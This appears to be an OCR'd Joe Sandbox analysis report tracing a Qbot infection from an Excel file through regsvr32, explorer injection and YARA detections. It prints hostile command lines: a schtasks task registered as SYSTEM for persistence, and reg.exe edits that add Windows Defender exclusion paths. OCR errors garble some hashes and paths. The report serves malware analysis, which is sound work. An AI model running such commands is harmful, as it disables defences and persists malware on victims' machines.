65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 85 8¢ 3b 61 00 00 00 00 00 00 00 00 e0 00 02 21 Ob 01
03 01 00 0a 03 00 00 f6 01 00 00 00 00 00 00 10 00 00 00 10 00 00 00 20 03 00 00 00 00 10 00 10 00 00 00 02 00 00 04 O
000 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 20 03 00 70 00 00 00 c8 10 04 00 7c 01 00 00 00 20 04 00 f4 Ob 01
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 04 00 c8
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 Oc 09 03 00
00 10 00 00 00 0a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 65 64 61 74 61 00 00 70 00 00
00 00 20 03 00 00 02 00 00 00 Oe 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 20
00 00 00 30 03 00 00 14 00 00 00 10 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 64 61 74 61 00 00 00 54
bf 00 00 00 50 03 00 00 cO 00 00 00 24 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 72 64 61 74 61 74 00
48 06 00 00 00 10 04 00 00 08 00 00 00 e4 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00
00 f4 Ob 01 00 00 20 04 00 00 Oc 01 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00
00 00 00 50 00 00 00 30 05 00 00 50 00 00 00 f8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cO 00 00 00 00 00
00 00 00 00 50 00 00 00 80 05 00 00 50 00 00 00 48 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cO 00 00 00 00
00 00 00 00 00 50 00 00 00 dO 05 00 00 50 00 00 00 98 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cO 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL;a! p| .text .edatap @@.data 0@.dataTP$@.rdata
tH@.rsrc @@POPPPHPP

Analysis Process: EXCEL.EXE PID: 2588 Parent PID: 596

General

Start time:
Start date:
Path:
Wow64 process (32bit):
Commandline:
Imagebase:
File size:
MDS5 hash:
Copyright Joe Security LLC 2021

10:21:18
28/09/2021
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
false
‘C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
0x13fa70000
28253536 bytes
D53B85E21886D2AF9815C377537BCAC3
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Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

true
true
C, C++ or other language

moderate

File Activities

File Created

File Deleted

File Moved

File Written

Registry Activities

Key Created

Key Value Created

Show Windows behavior

Show Windows behavior

Analysis Process: regsvr32.exe PID: 1516 Parent PID: 2588

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

10:23:39

28/09/2021
C:\Windows\System32\regsvr32.exe

false

regsvr32 -silent ..\Drezd.red

0xff280000

19456 bytes
59BCE9F07985F8A4204F4D6554CFF708
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: regsvr32.exe PID: 1636 Parent PID: 1516

General

Start time: 10:23:39

Start date: 28/09/2021

Path: C:\Windows\SysWOW64\regsvr32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true

-silent ..\Drezd.red

0xa20000

14848 bytes
432BE6CF7311062633459EEF6B242FB5
true

true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source:
00000006.00000002.715078031.0000000010001000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source:
00000006.00000002.713427364.0000000000890000.00000004.00000001.sdmp, Author:

Joe Security
Reputation: moderate
File Activities Show Windows behavior
Analysis Process: explorer.exe PID: 684 Parent PID: 1636
General
Start time: 10:23:41
Start date: 28/09/2021
Path: C:\Windows\SysWOW64\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\explorer.exe
0x150000

2972672 bytes
6DDCA324434FFA506CF7DC4E51DB7935
true

true

C, C++ or other language

e Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source:
00000007.00000002.978062440.00000000000E0000.00000040.00020000.sdmp, Author:

Joe Security
Reputation: high
File Activities Show Windows behavior
File Created
File Written
File Read
Registry Activities Show Windows behavior
Key Created
Key Value Created
Key Value Modified
Analysis Process: regsvr32.exe PID: 2712 Parent PID: 2588
General
Start time: 10:23:43
Start date: 28/09/2021
Path: C:\Windows\System32\regsvr32.exe
Wow64 process (32bit): false
Commandline: regsvr32 -silent ..\Drezd1.red
Imagebase: 0xff280000
File size: 19456 bytes
MD5 hash: 59BCE9F07985F8A4204F4D6554CFF708

Has elevated privileges:

Has administrator privileges:

Copyright Joe Security LLC 2021

true

true
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Programmed in:

C, C++ or other language

Reputation: high
Analysis Process: schtasks.exe PID: 408 Parent PID: 684
General
Start time: 10:23:43
Start date: 28/09/2021
Path: C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit): true

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn uwqvoal /tr
‘regsvr32.exe -s \'C:\Users\user\Drezd.red\" /SC ONCE /Z /ST 10:25 /ET 10:37

0xbc0000

179712 bytes
2003E9B15E1C502B146DAD2E383AC1E3
true

true

C, C++ or other language

Reputation: high
Analysis Process: regsvr32.exe PID: 1256 Parent PID: 2588
General
Start time: 10:23:43
Start date: 28/09/2021
Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

regsvr32 -silent ..\Drezd2.red

0xff280000

19456 bytes
59BCE9F07985F8A4204FAD6554CFF708
true

true

C, C++ or other language

Reputation: high
Analysis Process: regsvr32.exe PID: 1848 Parent PID: 1672
General
Start time: 10:23:45
Start date: 28/09/2021
Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Read

Copyright Joe Security LLC 2021

false

regsvr32.exe -s 'C:\Users\user\Drezd.red'
0xff860000

19456 bytes
59BCE9F07985F8A4204F4D6554CFF708
true

true

C, C++ or other language

high

Show Windows behavior
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Analysis Process: regsvr32.exe PID: 1016 Parent PID: 1848

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

10:23:45

28/09/2021
C:\Windows\SysWOW64\regsvr32.exe
true

-s 'C:\Users\user\Drezd.red'
0x7e0000

14848 bytes
432BE6CF7311062633459EEF6B242FB5
true

true

C, C++ or other language

e Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source:
0000000D.00000002.727158282.0000000010001000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source:
0000000D.00000002.725678165.0000000000210000.00000004.00000001.sdmp, Author:

Joe Security
Reputation: moderate
File Activities Show Windows behavior
Analysis Process: explorer.exe PID: 2552 Parent PID: 1016
General
Start time: 10:23:47
Start date: 28/09/2021
Path: C:\Windows\SysWOWSe64\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

true

C:\Windows\SysWOW64\explorer.exe
0x150000

2972672 bytes
6DDCA324434FFA506CF7DC4E51DB7935
true

true

C, C++ or other language

e Rule: JoeSecurity_Qbot_1, Description: Yara detected Qbot, Source:
0000000E.00000002.978045308.00000000000C0000.00000040.00020000.sdmp, Author:
Joe Security

high

Show Windows behavior

File Created

File Written

File Read

Registry Activities

Key Created

Key Value Created

Key Value Modified

Copyright Joe Security LLC 2021

Show Windows behavior
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Analysis Process: reg.exe PID: 2836 Parent PID: 2552

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Registry Activities

Key Value Created

10:23:49

28/09/2021
C:\Windows\System32\reg.exe
false

C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclus
ions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Imgocbuplg' /d '0*

0xfff00000

74752 bytes
9D0B3066FE3D1FD345E86BC7BCCEDIE4
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: reg.exe PID: 2840 Parent PID: 2552

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Registry Activities

Key Value Created

10:23:50

28/09/2021
C:\Windows\System32\reg.exe
false

C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclus
ions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\laoaukbfna’ /d ‘0’

0Oxffad0000

74752 bytes
9D0B3066FE3D1FD345E86BC7BCCED9E4
true

true

C, C++ or other language

Show Windows behavior

Analysis Process: regsvr32.exe PID: 3056 Parent PID: 1672

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

10:25:00

28/09/2021
C:\Windows\System32\regsvr32.exe

false

regsvr32.exe -s 'C:\Users\user\Drezd.red'
0xff8c0000

19456 bytes
59BCE9F07985F8A4204F4D6554CFF708
true

true

C, C++ or other language
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File Activities Show Windows behavior

File Read

Analysis Process: regsvr32.exe PID: 152 Parent PID: 3056

General
Start time: 10:25:00
Start date: 28/09/2021
Path: C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit): true
Commandline: -s 'C:\Users\user\Drezd.red'
Imagebase: 0x620000
File size: 14848 bytes
MD5 hash: 432BE6CF7311062633459EEF6B242FB5
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Disassembly
Code Analysis
Copyright Joe Security LLC Joe Sandbox Cloud Basic 33.0.0 White Diamond
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